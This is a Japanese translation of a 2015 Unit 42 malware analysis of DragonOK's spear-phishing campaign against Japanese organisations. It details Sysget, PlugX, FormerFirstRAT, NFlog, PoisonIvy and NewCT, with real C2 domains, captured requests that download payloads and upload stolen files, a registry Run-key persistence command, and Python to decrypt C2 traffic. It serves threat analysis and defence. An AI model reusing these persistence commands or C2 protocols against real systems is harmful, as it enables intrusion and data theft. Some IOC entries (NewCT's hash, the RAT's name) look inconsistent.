2015年4月14日に米国で掲載されたブログ記事の抄訳です。

概要

米Palo Alto Networksの調査チームUnit 42は、AutoFocus脅威インテリジェンスサービスを使用し、日本の組織に対する一連の標的型攻撃を調査しました。

AutoFocusを使い、WildFireやその他のPalo Alto Networksが共有する脅威情報をすばやく検索し、生成した情報を相関分析すると、公に「DragonOK」(※1)として知られるグループとある攻撃を結び付けることができました。これら攻撃は2015年1月から3月の間に発生していました。

DragonOKはこれまで日本のハイテク業と製造業を狙っていました。今回われわれは彼らの開発者が開発した “FormerFirstRAT” と呼ばれる新種のバックドアツール(使用者が知らないうちに通信を行う悪意あるプログラム)を検出しました。今回の永続型攻撃で用いられた3つのRATおよび2つのバックドアツールに関する分析結果はマルウェアの詳細項目を参照してください。

攻撃の詳細

今回の組織的攻撃では、HelloBridgeと呼ばれるSysgetマルウェアの異なる亜種をそれぞれ配信する5つの標的型攻撃が実施されました。このマルウェアには、ファイルを開くようユーザーをだまそうとするファイルが添付されていました。この中には、他の種類のファイルとして表示するために実行ファイルのアイコンを変更するもの (図1) と、ユーザーに正規ファイルを開いたように見せかける「おとり文書」が含まれていました。

Macintosh HD:Users:jgrunzweig:Desktop:icons_malware.pdf

図1: Sysgetマルウェアの添付で使われたアイコン

この攻撃で使用されたSysgetファイルはいずれもbiosnews[.]info にホストされる単一のコマンドアンドコントロール (C2) サーバー(指揮統制サーバー)と通信します。SysgetはHTTPプロトコルを使用してこのサーバーと通信します。コマンドアンドコントロール通信の仕様については「マルウェアの詳細」項を参照してください。5つのすべての標的型攻撃は2ヶ月かけて日本のある製造業を対象としましたが、最後の攻撃では別の日本のハイテク組織が標的とされました (図2)。
Macintosh HD:Users:rolson:phishing.png

図2: 2つの日本組織を標的として使用された5つのSysget サンプル

5つのSysget亜種のうち4つは、マルウェアではない正規ファイルを開いたように見せかけてユーザーをだます「おとり文書」を含んでいました。2つの実行ファイルは訃報を装うおとり文書を使用していました。図3に女性の訃報を含むGIFファイル、図4に男性の訃報を含むMicrosoft Wordドキュメントを示します。 


Macintosh HD:Users:jmilleros:Library:Caches:TemporaryItems:Outlook Temp:sb.gif

図3: 女性の訃報を含む日本語のおとり文書(GIFファイル形式)

Macintosh HD:Users:jmilleros:Library:Caches:TemporaryItems:Outlook Temp:0b97ced3fabb14dbffa641d9bd1cc9dd8c97eab9cb6160d43202ee078e017989:Screen Shot 2015-04-09 at 3.55.04 PM.png

図4 男性の訃報を含むMicrosoft Word形式の日本語おとり文書

PDFアイコンで示されるSysgetサンプルではAdobe.exeという名前の第二段階の実行ファイルを生成し、以下の警告を表示します。

Macintosh HD:Users:jmilleros:Library:Caches:TemporaryItems:Outlook Temp:Screen Shot 2015-04-10 at 10.22.03 AM 2.png
「このアプリケーション用のアプリケーション記述子が見つかりませんでした。再インストールを試みるか、詳細を発行者に問い合わせてください」


図5: Adobe.exeにより生成されるエラーメッセージ

最後のSysgetサンプルはMicrosoft Excelアイコンを使用しており、図6のようにセルに “XXXXXX” と記述されたExcel文書を開きます。

Macintosh HD:Users:jmilleros:Library:Caches:TemporaryItems:Outlook Temp:227de988efdcf886bc0be7dc3df9f51a727664593de47352df31757853e42968:Screen Shot 2015-04-10 at 10.17.04 AM.png

図6:  複数の行と列にXが記載されたExcelシート

これらSysget亜種は今回の攻撃で第一段階のデータと考えられます。この脅威の分析において、われわれはbiosnews[.]info にホストされている5つの別のバックドアツールを特定しました。このツールは攻撃者が足掛かりを築いた後にSysget亜種によってダウンロードされるものと考えられます。

NFlog、PoisonIvy、NewCTという3つのバックドアは既にDragonOKと公に関連付けられています。さらに攻撃者はツールキットに有名なPlugXというバックドアを追加しました。もう一つ追加されたバックドアは、これまでわれわれがDragonOKやその他の攻撃グループと関連付けていない新しいカスタマイズされたツールとみられます。開発者がツールを参照するために使用していたと思われる名前に沿って、われわれはこのツールを“FormerFirstRAT” と名付けました。図7に、これらバックドアとそれぞれのコマンドアンドコントロール サーバーとの関係を示します。
Macintosh HD:Users:jgrunzweig:Desktop:backdoors_v2.png

図7: 今回の攻撃においてDragonOKによって使用された5つの追加バックドア(馬マークとこぶしマーク)とそのコマンドアンドコントロールサーバーとの関係

次項では、今回の攻撃で使用されたマルウェアの機能について詳しく説明します。

 

 

マルウェアの詳細


SysgetとHelloBridge

今回の攻撃ではメールにSysgetサンプルが添付され、ユーザーをだましてシステムへ感染するようにさせるため、さまざまなアイコンが使用されました。これらサンプルの大半は、正規ファイルと悪意あるダウンローダーを含む自己解凍型の実行ファイルです。自己解凍型の実行ファイルを起動すると、ダウンローダーと正規ファイルは次のどちらかのディレクトリに置かれ、その後実行されます。

  • %PROGRAMFILES%
  • %WINDIR%\Temp


悪意あるダウンローダーが実行されると、まず一つのインスタンスを確実に実行するために “mcsong[]” イベントを生成します。その後 “Chrome-Update” というウィンドウ名を持つ “C:\\windows\\system32\\cmd.exe” という新しいインスタンスを生成します。FindWindowW APIコールを使用してウィンドウハンドルの取得を試み、実行ファイルに以下のコマンドを送信します。これにより、マルウェアはcmd.exeプロセス内でコマンドを間接的に実行できるようになります。
reg add hkcu\software\microsoft\windows\currentversion\run /v netshare /f /d %temp%\notilv.exe /t REG_EXPAND_SZ

このレジストリキーにより、後でダウンロードされる実行ファイルがリブート後に動作するよう設定されます。そしてその実行ファイルに “exit” コマンドを送信し、このプロセスを強制終了します。


マルウェアはその後以下のファイルを読み込もうとします。このファイルはネットワーク通信時に受信したデータの復号化に使用する鍵を保存するために用いられます。


%temp%\ibmCon6.tmp

ファイルが存在しない場合、次のGETリクエストを実施します。

GET /index.php?fn=s4&name=4890c2d546fa48a536b75b48b17de023  
HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Connection: Keep-Alive

ファイル名 (fn) と名前 (name) の各パラメータは上記リクエスト内で静的に設定されます。サーバーは以下のデータで応答します。

HTTP/1.1 200 OK
Date: Wed, 11 Mar 2015 00:14:14 GMT
Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1e-fips
mod_bwlimited/1.4 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/5.4.37
Keep-Alive: timeout=5
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

17
gh204503254
1916733707

0

応答した最初の2つのデータ (“17” と “gh204503254”) はその後、前述のibmCon6.tmpファイルに書き込まれます。

マルウェアは “notilv.exe” という実行ファイル名で %TEMP% ディレクトリに自身をコピーします。先ほど書き込んだレジストリキーにより、パソコンを再起動してユーザーがログインしたときにこのファイルが実行されます。
次にマルウェアは以下のリクエストを行います。

GET /index.php?fn=s1&uid=fc1a8359e0f4cb8d60920dc066b8b21c
HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Connection: Keep-Alive

ファイル名 (fn) とuidの各パラメータは上記リクエスト内で静的に設定されます。レスポンスデータはRC4ストリーム暗号を使って復号化されます。先にダウンロードした “gh204503254” というデータは暗号鍵として使用されます。以下のPythonコードは “gh204503254” という暗号鍵を使った復号化に利用できます。


from wincrypto import CryptCreateHash, CryptHashData,
CryptDeriveKey, CryptDecrypt

CALG_RC4 = 0x6801
CALG_MD5 = 0x8003

md5_hasher = CryptCreateHash(CALG_MD5)
CryptHashData(md5_hasher, 'gh204503254')
rc4_key = CryptDeriveKey(md5_hasher, CALG_RC4)
decrypted_data = CryptDecrypt(rc4_key, final_data)
pp.pprint(decrypted_data)

この段階では、リモートサーバーは多くの異なるレスポンスを送信することができます。以下のレスポンスは、マルウェアにリモートの実行ファイルをダウンロードさせるよう指示します。


sys getinto "filename.exe" "01234567890123456789012345678901";\n


“filename.exe” はダウンロードされたファイルが保存されるパスで、 “01234567890123456789012345678901” は後続のHTTPリクエストで指定される値です。このコマンドを受信した場合、以下のリクエストが生成されます。

GET /index.php?fn=s3&file=01234567890123456789012345678901
HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Connection: Keep-Alive

このとき、リモートサーバーは、マルウェアがシステムに保存する暗号化されていないファイルで応答します。

リモートサーバーは下記の例のようなレスポンスも送信できます。このレスポンスにより、指定されたファイルをアップロードするようマルウェアが指示します。

sys upto "filename.exe";\n


アップロードリクエストの例を以下に示します。

POST /index.php?fn=s2&item=70efdf2ec9b086079795c442636b55fb
HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)
Host: biosnews[.]info
Content-Length: 115126
Connection: Keep-Alive

-----------------------------d5340oqbasdfaa

Content-Disposition: form-data; name="file";
filename="calc_malware.exe"
Content-Type: application/octet-stream

[BINARY_DATA]

-----------------------------d5340oqbasdfaa

       Content-Disposition: form-data; name="path"

70efdf2ec9b086079795c442636b55fb

-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="submit"

Submit
-----------------------------d5340oqbasdfaa--


リモートサーバーは以下のようなレスポンスを送信することもできます。このレスポンスはマルウェアに指定されたコマンドを実行するよう指示します。

  • [command];\n

この実行結果は %TEMP% ディレクトリ内の一時的なテキストファイルに保存されます。実行結果は前述したものと同じ技術を使って暗号化されます。この結果のアップロード例を以下に示します。


POST /index.php?fn=s2 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;
Trident/6.0)

Host: biosnews[.]info
Content-Length: 1609
Connection: Keep-Alive


-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="file";
filename="C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.txt"
Content-Type: application/octet-stream
[BINARY_DATA]

-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="path"
70efdf2ec9b086079795c442636b55fb
-----------------------------d5340oqbasdfaa
Content-Disposition: form-data; name="submit"
Submit
-----------------------------d5340oqbasdfaa—

PlugX

PlugXは標的型攻撃で多く使用されるバックドアです。今回使用されたPlugXはシマンテック社の製品になりすまそうとします。以下のアイコンがサンプル内に存在します。 
Macintosh HD:Users:jgrunzweig:Desktop:Screen Shot 2015-04-10 at 3.17.37 PM.png

図8 シマンテック社のロゴアイコンを使用するPlugX ファイル

マルウェアが実行されると、以下のパラメータを持つサービスとしてインストールされます。


Service Name

RasTls

Service Display Name

RasTls

Service Description

Symantec 802.1x Supplicant

 
また動作を持続させるため以下のレジストリキーを設定することもあります。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RasTls - %windir%\system32\svchost.exe

PlugXは標的型攻撃で長く使用されてきた背景もあり、よく研究されているマルウェアです。その歴史の詳細については以下のリンクを参照してください。

 

FormerFirstRAT

このリモート管理ツール (RAT) は作者によって “FormerFirstRAT” と呼ばれています。FormerFirstRATは本来暗号化されたHTTPSが使われるはずのポート443上で、非暗号化HTTPを使って通信します。ポート番号と通信プロトコルを不適当に組み合わせて使うことは、標的型攻撃において珍しいことではありません。またポート番号とプロトコルが一致しない通信は、悪意ある活動の痕跡となります。
このマルウェアは起動時に持続性を確保するため、以下のレジストリキーを書き込みます。

[HKCU|HKLM]\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WmdmPmSp -> EXE of DLL

マルウェアはその後、被害者のシステムに関する情報をHTTP POSTリクエストで送信します。このとき以下の情報が収集されます。

  • 被害者の IP アドレス
  • ユーザー名
  • 管理者権限
  • RAT ステータス (アクティブかスリープいずれか)
  • RAT バージョン (今回のケースでは 0.8)
  • Microsoft Windows バージョン
  • UserID (ボリュームシリアル番号に続けてアンダースコアと “1” の連続)
  • 言語設定


コマンド アンド コントロールには以下のパラメータが使用されます。

Hostname: https.reweblink.com
Port: 443
Timer: 180000
Method: POST

このマルウェアはAES-128暗号を使用してネットワーク通信を暗号化します。暗号鍵を生成するために “tucwatkins” という文字列のMD5(関数の一種)を使用します。すべてのデータはHTTP POSTリクエストで送信されます。独特なTTP (Tactics, Techniques and Procedures; 戦術、技術、手順) ではないため、このマルウェアの作者はホームドラマのファンかもしれません。以下のコードはPythonを使用してマルウェア通信を復号する方法を示したものです。


from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt
CALG_AES_128 = 0x660e
CALG_MD5 = 0x8003

data = "..." # Encrypted Data
md5_hasher = CryptCreateHash(CALG_MD5)

CryptHashData(md5_hasher, 'tucwatkins')
aes_key = CryptDeriveKey(md5_hasher, CALG_AES_128)
decrypted_data = CryptDecrypt(aes_key, data)

次にマルウェアはリモートサーバーへ定期的にリクエストを送信するループに入ります。リモートサーバーはRATに応答して指示を与えることができます。われわれは以下の機能を特定しました。

  • リクエスト間のスリープタイマーを変更
  • コマンド実行とコマンド出力のリターン
  • ファイルシステムの閲覧
  • ファイルのダウンロード
  • ファイルの削除
  • 被害者の情報搾取


HTTP POSTリクエストの例を以下に示します。

POST / HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;

.NET CLR  1.1.4322)
Host: https.reweblink.com:443
Content-Length: 48
Cache-Control: no-cache

[encrypted binary data]

 

NFlog

 
実行中のプロセスに読み込まれるとNFlogはまず新規スレッドを生成します。この新規スレッドはDLLによって生成されたすべての悪意ある活動を担当します。最初にマルウェアは以下のレジストリキーを設定します。


HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\update : [current_executable_filename]

ここで [current_executable_filename] は実行中の実行ファイルのパスで、GetModuleFileNameAのプログラムを呼び出すことで取得されます。このレジストリキーは現在のユーザーがログインしているときに再起動した後もマルウェアが持続できるようにします。

このマルウェアサンプルには複数の文字列難読化ルーチンが含まれています。バイナリに含まれる文字列は、0x25という1バイトの鍵でバイナリを単純に排他的論理和 (XOR、2つの命題のうち片方のみが真となる論理演算) することで復号化されます。

次にマルウェアは “GoogleZCM” という名前付きイベントオブジェクトを生成しますが、このイベントはマルウェアのインスタンスが同時に一つだけ実行されるようにするために使われます。次にマルウェアは “GoogleZCM” という名前付きイベントオブジェクトを生成しますが、このイベントはマルウェアのインスタンスが同時に一つだけ実行されるようにするために使われます。

そしてマルウェアはローカルホスト上のポート1139への関連付けを試みます。

マルウェアはwww.microsoft.comへリクエストを送ることでインターネット接続の確認を行います。以下に例を示します。

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0;Windows NT 5.1)
Host: www.microsoft.com
Cache-Control: no-cache
Cookie: WT_NVR=0=/:1=genuine:2=genuine/validate; MC1=GUID=aa8ac5ed26b9bf4f8d3bd1b2dcaa82f6&HASH=edc5&LV=201503&V=4&LU=1427378060061; A=I&I=AxUFAAAAAADHBgAA8gS9lEdH+VwzUOqAM/3nlg!!&V=4; WT_FPC=id=bf26a610-0e65-413e-aef7-fd8c6b7df7c3:lv=1427375812454:ss=1427375780673; optimizelySegments=%7B%222130980600%22%3A%22true%22%2C%222098371093%22%3A%22true%22%2C%22223040836%22%3A%22search%22%2C%22244338170%22%3A%22none%22%2C%22223033821%22%3A%22false%22%2C%22223082014%22%3A%22ie%22%7D; optimizelyEndUserId=oeu1427379528348r0.49006120319115387; MUID=07660815420F6D5B2DCC0F63434A6C60

マルウェアはレスポンス内の “Server” ヘッダに “IIS” という文字列がないか探します。

次にマルウェアはnew.hotpmsn[.]com ドメインの “/news/STTip.asp” というURIへPOSTリクエストを生成することでリモートホストとの接続性を確認します。

POST /news/STTip.asp HTTP/1.1
Accept: */*
Cache-Control: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
.NET CLR 1.1.4322)
Host: new.hotpmsn[.]com
Content-Length: 0
Connection: Close

その後マルウェアは被害者の情報を “/news/SNews.asp” URIにPOSTリクエストで送信します。このリクエストには被害者のMACアドレスを持つ “HostID” のGETパラメータも含まれます。以下に例を示します。


POST /news/SNews.asp?HostID=00-0C-29-8D-23-41 HTTP/1.1
Accept: */*
Cache-Control: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
.NET CLR 1.1.4322)
Host: new.hotpmsn[.]com

Content-Length: 124
Connection: Close

ここに含まれるバイナリデータは “\x35\x8E\x9D\x7A” という4バイト鍵によって排他的論理和 (XOR) が行われます。復号化が行われると、以下のデータが確認できます。

'00-0C-29-8D-23-41#%##%#172.16.95.130#%#josh-9f59dff661#%#WinXP#%#English(US)#%#2015-04-06 09:32:18#%#Active#%#12345678\x17\x9a*a\x98\xff\xbc'

このデータには “#%#” というデリミタで区切られた以下の情報が含まれています。

  • 被害者のMACアドレス (Host ID)
  • コマンド (可能な場合)
  • 被害者のIPアドレス
  • ユーザー名
  • Windows OS バージョン
  • Windows 言語設定
  • 現在の時刻
  • ステータス


このリクエストに対するサーバーのレスポンスにより、マルウェアは多数のコマンドを受け入れられるようになります。コマンドと関連するレスポンスURIを以下に示します。すべてのコマンドは前述の4バイトの排他的論理和鍵を使って暗号化されることに注意して下さい。


コマンド

説明

URI

CMD

与えられたコマンドを実行

/news/STravel.asp

Browse

与えられたディレクトリをディレクトリ リスティングする

/news/SJobs.asp

UploadFile

指定ファイルをアップロード

/news/SSports.asp

DownLoad

指定ファイルをダウンロード

/news/SWeather.asp

DelFile

指定ファイルを削除

N/A

 

PoisonIvy


このマルウェアは有名なPoisonIvyリモートアクセス型トロイの木馬 (RAT) として特定されました。復号化して置かれるいずれかのファイル内に埋め込まれる、以下のデバッグ用文字列が発見されました。


d:\MyProject\Street2008\PotPlayer\Release_Mini_Unicode\PotPlayerMini.pdb


PoisonIvyはまず、以下の場所に3つのファイルを作成します。

  • %APPDATA%\\svchosts.exe
  • %APPDATA%\\PotPlayer.dll
  • %APPDATA%\\demo.dat

次にマルウェアはWinExecのコールによりsvchosts.exeの実行ファイルを実行します。svchosts.exeマルウェアはまず、PotPlayer.dllライブラリを自身のプロセス内に読み込む前に復号化します。そしてPotPlayer.dllから以下のエクスポート関数をロードします。

  • PreprocessCmdLineExW
  • UninitPotPlayer
  • CreatePotPlayerExW
  • DestroyPotPlayer
  • RunPotPlayer
  • SetPotPlayRegKeyW


PotPlayer.dllの読み込みにより、悪意あるコア機能が含まれるDLLのDllEntryPoint関数が呼び出されます。PotPlayer.dllの最初の読み込み時にマルウェアはシェルコードのスタブをロードして実行します。このシェルコードはサスペンド状態で実行ファイルの新しいインスタンスを生成します。その後、以下のアルゴリズムを使用して “demo.dat” ファイルを復号化します。


((((byte1 + 0x6d) ^ 0x8A) - 0x53) & 0xFF)

この復号化されたコードは、プロセスが再開される前にサスペンドされたプロセス内に注入されます。新しく作成された svchost.exe プロセスはまず多数のライブラリや関数を動的に読み込みます。このマルウェアは主にシェルコードで構成されています。次に以下のミューテックス (排他制御) を作成します。

oY7uUqX&d

続いて元の実行ファイルの削除を試みます。その後以下のレジストリキーを設定します。管理者として実行されている場合はHKLM (HKEY_LOCAL_MACHINE) が使用されます。それ以外の場合はHKCU (HKEY_CURRENT_USER) 内に設定されます。

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\MSCTFORM : %APPDATA%\\svchosts.exe


次にマルウェアはネットワーク通信の準備を開始します。プロキシが使われているか調査が行われます。被害者のMACアドレスとホスト名を収集し、それらを1つの文字列につなぎ合わせます。

PoisonIvyはbbs reweblink[.]comドメインと通信するよう設定されています。以下に生成されるHTTPリクエストの例を示します。

POST HTTP://bbs.reweblink.com/index.html
HTTP/1.1  
Cookie: id=000C298D2341josh-9f59dff661
Connection: keep-alive
Content-Length: 256

[256 Bytes of Data]


マルウェアからは、以下の設定値が抽出されました。


RAT Identifier

12008

Proxy Count

0

Communications Key

DF#671d@!

Auto-remove Dropper

True

C&C

bbs.reweblink[.]com:80

 

NewCT


コマンド アンド コントロール サーバーに定期的なリクエストを行うNewCT 64ビット DLL バックドアです。このマルウェア群はインターネット接続を確認するためにwww.microsoft.comへのリクエストを行います。これと同じ手法は前述のNFlogマルウェアのサンプルでも確認されています。

インターネットへの接続が確認されると、マルウェアは以下のようなPOSTリクエストを送信します。

POST / HTTP/1.1
Accept-Language: en-en
Content-Type: application/octet-stream
Pragma: no-cache
Cache-Control: max-age=259200
Connection: Close
Content-Length: 1588
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)
Host: bbs.jpaols.com

[BINARY_DATA]


以下は上記POSTリクエストに含まれるデコードされたデータで、キャンペーン (攻撃) 識別子情報もありました。


Key

0x30303137

Domain

bbs.jpaols.com:80

Victim ID

60F81DCC2FCF_WIN-71FN1PE1AT8

Campaign

APR1_2.3

URI

index.asp



まとめ

DragonOKの首謀者は、2つの新しいマルウェア群(内1つは特注とみられる)を使用することでTTPを進化させてきたようです。しかしコマンド アンド コントロールやマルウェア ホスティング用のドメイン登録には同じ電子メールアドレスを使い続け、これらドメインの一部を数年間にわたって再利用しています。これは新しいマルウェアであっても彼らを追跡することは非常に簡単で、新しいマルウェアそのものはグループが過去に使用したものと比べて特に進歩していないことを意味します。

DragonOKの首謀者が技術的に最も優れているわけではないかもしれませんが、彼らは比較的短い期間に何度も標的を狙うという高いねばり強さを実証しました。いわゆる“APT (Advanced Persistent Threat)” と呼ばれる多くのグループは Advanced (高度) というよりも Persistent (持続的) であり、DragonOKはそのカテゴリに分類されます。残念ながら、悪質な首謀者は十分な時間を持ってこれらのツールと標的型フィッシング攻撃を組み合わせ、多くの攻撃を成功させています。本ブログで説明したマルウェアのサンプルはすべてPalo Alto Networksのサンドボックス型クラウドサービスWildFireでマルウェアとして識別されました。

われわれは、これらの攻撃の痕跡を現状のセキュリティソリューションで確認し、必要に応じて確認するための手法を追加し、積極的にネットワークを調査することを推奨します。理想的なセキュリティソリューションとは、攻撃への一連の対策の各段階でそれぞれ保護を実行し、未知の脅威を防ぐために自動で新しい保護を追加するようなプラットフォームへのアプローチを採用することです。 

サンプル要約

Sysget/HelloBridge


ファイル名

].exe

初回確認

2015年1月19日

SHA256

227de988efdcf886bc0be7dc3df9f51a727664593de47352df31757853e42968

C2サーバー

biosnews[.]info

分割IP

23.229.234.160

PDBへのパス

D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb

 


ファイル名

A.exe

初回確認

2015年1月27日

SHA256

35784ec1968d322092cb6826f7795f65eeb0b8365ac8c7d8756851c92acf31ae

C2サーバー

biosnews[.]info

分割IP

23.229.234.160

PDBへのパス

D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb

 


ファイル名

 

初回確認

2015年3月10日

SHA256

0b97ced3fabb14dbffa641d9bd1cc9dd8c97eab9cb6160d43202ee078e017989

C2サーバー

biosnews[.]info

分割IP

23.229.234.160

PDBへのパス

D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb

 


ファイル名

address.exe

初回確認

2015年3月16日

SHA256

287e29ca7b2177fdaa561a96284726ada636dbbdaadfdbeadf88164e625ed88e

C2サーバー

biosnews[.]info

分割IP 

23.229.234.160

PDBへのパス

D:\Work\1021WinInetGEnc1\Release\WinInetG.pdb

 

PlugX


ファイル名

schost.exe

初回確認

2015年3月16日

SHA256

70ac649d31db748c4396a9a3f7a9c619c8d09e6400492ab3447520fb726083c4

C2サーバー

http.tourecord.com

分割IP 

103.20.193.62

 

PoisonIvy


ファイル名

shost.exe

初回確認

17 Mar 2015

SHA256

6e95215a52e1cbf4a58cb24c91750151170ea3d59fa9dbfe566e33a2ffc04f4c

C2サーバー

bbs.reweblink.com

分割IP 

103.20.193.62

 

FirstFormerRAT


ファイル名

RpcRtRemote.dll

初回確認

16 Mar 2015

SHA256

e68b70eaaf45fa43e726a29ce956f0e6ea26ece51165a1989e22597aebba244f

C2サーバー

https.reweblink.com

分割IP 

103.20.193.62


 

Nflog


ファイル名

chrome_frame_helper.dll

初回確認

17 Mar 2015

SHA256

64cbcb1f5b8a9d98b3543e3bf342e8c799e0f74f582a5eb0dc383abac7692f63

C2サーバー

new.hotpmsn.com

分割IP 

58.64.156.140

 

NewCT


ファイル名

shost.exe

初回確認

17 Mar 2015

SHA256

6e95215a52e1cbf4a58cb24c91750151170ea3d59fa9dbfe566e33a2ffc04f4c

C2サーバー

bbs.reweblink.com

分割IP 

103.20.193.62


(※1)「DragonOK」:Operation Quantum Entanglement – Thoufique Haq, Ned Moran, Sai Vashisht, and Mike Scott – https://www.fireeye.com/resources/pdfs/white-papers/fireeye-operation-quantum-entanglement.pdf